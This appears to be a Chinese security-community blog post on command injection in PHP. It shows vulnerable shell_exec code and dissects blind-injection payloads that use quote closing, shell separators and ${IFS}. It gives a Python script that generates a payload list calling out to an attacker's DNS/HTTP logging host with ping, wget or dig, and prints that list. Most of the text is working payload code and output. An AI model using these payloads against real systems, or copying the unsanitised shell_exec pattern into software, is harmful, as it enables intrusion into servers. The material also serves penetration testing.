先知技术社区独家发表本文,如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
先知技术社区投稿邮箱:[email protected];
<?php
$site = $_GET["site"];
$command = 'ping '.$site;
$out = shell_exec($command)
echo $out;
?>
以上代码存在明显命令注入漏洞
简单构造 site=xx.com;attack;
即可达到执行任意attack命令的目的
再看一个近期抓到的实例
<!--?php
//发送命令
$in_url = $_GET["inurl"];
$data_base = $_GET["database"];
#echo $data_base;
#$data_base = urldecode($data_base);
$port = $_GET["port"];
$circle_num = $_GET["circle_num"]
$charset = $_GET["charsets"];
#echo $data_base;
$exec_path = dirname(__FILE__);
$out = shell_exec("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err"); #$out = ("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err");
echo $out;
?>
这个点显然是存在命令注入的,可以明显的看出上一个的简单payload就不再适用了。
可以看出这里字符拼接时前后都用双引号包裹了,要实现注入首先要前后闭合。
例如下面这样的payload inurl=xxx";command;"xxx
前缀 | PREFIX | xxx |
闭合 | close | " |
命令拼接 | cmd_char | ; |
执行语句 | COMMAND | attack |
命令拼接 | cmd_char | ; |
闭合 | close | " |
后缀 | PREFIX | xxx |
上述各个部分就组成了一个基本测试payload。
这样看来第一个payload就是上面组成的简化,如不需要闭合,以及后缀可以看作空字符。
这里还缺了一个最重要的部分,要执行的命令command。
测试时为了通用性,测出无回显的命令注入,一般会将结果通过第三方信道带回查看,如通过dns或http请求带回。(请求cloudeye)
例如
wget xxx.myeye
ping p.myeye
不难看出可以如下区分
命令 | cmd | wget |
分隔符 | cmd_sep | 空格 |
参数 | my_cloudeye | xxx.myeye |
下面要做的就是给各个组成部分填空
- 前缀后缀 明显是一个字符串,有时还可为空字符。
- 闭合 目的是为了保证语法正确,可能取值有单引号 双引号 以及 空字符
- 命令拼接 考虑shell的语法有如下几种 | ; & 反引号 换行符 $()
- 命令cmd 基本的产生http或dns请求的命令 如 wget curl ping dig
- 分隔符 cmd_sep 常见的空格 tab键 以及${IFS} (利用环境变量获得分隔符)
- 参数 my_cloudeye 自己的cloudeye 标记
| | |
|-----------------------------------------|
| PREFIX | xxx |
|close|" ' 空字符 |
|cmd_char|; 管道符 & 反引号 换行符 $() |
|PREFIX | xxx |
| cmd | wget ping curl dig |
|cmd_sep | 空格 tab ${IFS} |
| my_cloudeye | xxx.myeye |
下面给出一个payload生成的脚本
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# __author__ jax777
PREFIX = 'da.gg.com'
SUFFIX = 'da.gg.com'
cmd_sep = [
'${IFS}',
' ',
' '
]
cmd_char = [
#{CMDCHAR}
['`','`'],
['$(',')'],
[';',';'],
['|','|'],
['&','&'],
['%0a','%0a'],
]
close = [
#{CLOSE}
"\'",
'"',
''
]
cmd = [
'ping',
'dig',
'wget'
]
payload = []
payload.append('{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}')
for b in cmd_char:
payload.append(b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1])
for c in close:
payload.append(PREFIX+c+b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1]+c+SUFFIX)
i = 1
for e in cmd:
for a in cmd_sep:
if '${IFS}' == a and 'ping' in e:
pass
else:
for _ in payload:
_=_.replace('{COMMAND}', e)
_=_.replace('{CMDSEP}', a)
_=_.replace('{my_cloudeye}',str(i)+".{my_cloudeye}")
i = i + 1
print _
运行结果如下 发送payload时将{my_cloudeye}替换成自己的接收地址即可
ping 1.{my_cloudeye}
`ping 2.{my_cloudeye}`
da.gg.com'`ping 3.{my_cloudeye}`'da.gg.com
da.gg.com"`ping 4.{my_cloudeye}`"da.gg.com
da.gg.com`ping 5.{my_cloudeye}`da.gg.com
$(ping 6.{my_cloudeye})
da.gg.com'$(ping 7.{my_cloudeye})'da.gg.com
da.gg.com"$(ping 8.{my_cloudeye})"da.gg.com
da.gg.com$(ping 9.{my_cloudeye})da.gg.com
......
00,请多多指教。